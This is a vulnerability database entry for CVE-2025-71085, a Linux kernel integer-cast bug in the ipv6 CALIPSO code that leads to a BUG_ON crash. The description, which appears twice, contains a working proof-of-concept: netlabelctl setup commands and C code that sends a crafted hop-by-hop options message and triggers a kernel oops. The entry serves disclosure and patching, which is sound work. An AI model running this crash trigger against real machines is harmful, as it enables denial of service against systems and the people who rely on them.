FlawAtlas
Search the atlas
CVE-2025-71085 Not scored

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

Exploit probability 0.1%
Published January 13, 2026
Required by Not available
Last source change July 16, 2026

02 / AFFECTED SOFTWARE

Affected packages

Linux Kernel
Unknown Unknown

03 / CONNECTIONS

Connected vulnerabilities

related ALSA-2026:3488
related ALSA-2026:3963
related ALSA-2026:3964
related ALSA-2026:4012
related OPENSUSE-SU-2026:20287-1
related SUSE-SU-2026:0447-1
related SUSE-SU-2026:0471-1
related SUSE-SU-2026:0472-1
related SUSE-SU-2026:0473-1
related SUSE-SU-2026:0474-1
related SUSE-SU-2026:0475-1
related SUSE-SU-2026:0495-1
related SUSE-SU-2026:0496-1
related SUSE-SU-2026:0587-1
related SUSE-SU-2026:0617-1
related SUSE-SU-2026:0939-1
related SUSE-SU-2026:0940-1
related SUSE-SU-2026:0941-1
related SUSE-SU-2026:0943-1
related SUSE-SU-2026:0944-1
related SUSE-SU-2026:0945-1
related SUSE-SU-2026:0946-1
related SUSE-SU-2026:0951-1
related SUSE-SU-2026:0953-1
related SUSE-SU-2026:0954-1
related SUSE-SU-2026:0958-1
related SUSE-SU-2026:0964-1
related SUSE-SU-2026:0967-1
related SUSE-SU-2026:0970-1
related SUSE-SU-2026:0983-1
related SUSE-SU-2026:0985-1
related SUSE-SU-2026:0992-1
related SUSE-SU-2026:0997-1
related SUSE-SU-2026:1000-1
related SUSE-SU-2026:1002-1
related SUSE-SU-2026:1039-1
related SUSE-SU-2026:1044-1
related SUSE-SU-2026:1046-1
related SUSE-SU-2026:1048-1
related SUSE-SU-2026:1049-1
related SUSE-SU-2026:1059-1
related SUSE-SU-2026:1073-1
related SUSE-SU-2026:1083-1
related SUSE-SU-2026:1088-1
related SUSE-SU-2026:1089-1
related SUSE-SU-2026:1096-1
related SUSE-SU-2026:1099-1
related SUSE-SU-2026:1100-1
related SUSE-SU-2026:1101-1
related SUSE-SU-2026:1102-1
related SUSE-SU-2026:1125-1
related SUSE-SU-2026:1131-1
related SUSE-SU-2026:1132-1
related SUSE-SU-2026:1136-1
related SUSE-SU-2026:20477-1
related SUSE-SU-2026:20498-1
related SUSE-SU-2026:20555-1
related SUSE-SU-2026:20599-1
related SUSE-SU-2026:20615-1
related SUSE-SU-2026:20828-1
related SUSE-SU-2026:20829-1
related SUSE-SU-2026:20830-1
related SUSE-SU-2026:20831-1
related SUSE-SU-2026:20832-1
related SUSE-SU-2026:20836-1
related SUSE-SU-2026:20837-1
related SUSE-SU-2026:20840-1
related SUSE-SU-2026:20841-1
related SUSE-SU-2026:20842-1
related SUSE-SU-2026:20845-1
related SUSE-SU-2026:20847-1
related SUSE-SU-2026:20848-1
related SUSE-SU-2026:20849-1
related SUSE-SU-2026:20850-1
related SUSE-SU-2026:20851-1
related SUSE-SU-2026:20852-1
related SUSE-SU-2026:20853-1
related SUSE-SU-2026:20854-1
related SUSE-SU-2026:20855-1
related SUSE-SU-2026:20856-1
related SUSE-SU-2026:20857-1
related SUSE-SU-2026:20858-1
related SUSE-SU-2026:20859-1
related SUSE-SU-2026:20860-1
related SUSE-SU-2026:20861-1
related SUSE-SU-2026:20862-1
related SUSE-SU-2026:20863-1
related SUSE-SU-2026:20864-1
related SUSE-SU-2026:20865-1
related SUSE-SU-2026:20866-1
related SUSE-SU-2026:20876-1
related SUSE-SU-2026:20880-1
related SUSE-SU-2026:20881-1
related SUSE-SU-2026:20882-1
related SUSE-SU-2026:20883-1
related SUSE-SU-2026:20884-1
related SUSE-SU-2026:20885-1
related SUSE-SU-2026:20886-1
related SUSE-SU-2026:20887-1
related SUSE-SU-2026:20888-1
related SUSE-SU-2026:20889-1
related SUSE-SU-2026:20891-1
related SUSE-SU-2026:20892-1
related SUSE-SU-2026:20893-1
related SUSE-SU-2026:20894-1
related SUSE-SU-2026:20895-1
related SUSE-SU-2026:20896-1
related SUSE-SU-2026:20897-1
related SUSE-SU-2026:20898-1
related SUSE-SU-2026:20899-1
related SUSE-SU-2026:20900-1
related SUSE-SU-2026:20943-1
related SUSE-SU-2026:20944-1
related SUSE-SU-2026:20945-1
related SUSE-SU-2026:20946-1
related SUSE-SU-2026:20947-1

04 / EVIDENCE

Source records

Open Source Vulnerabilities CVE-2025-71085

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

View original source

05 / REFERENCES

Further evidence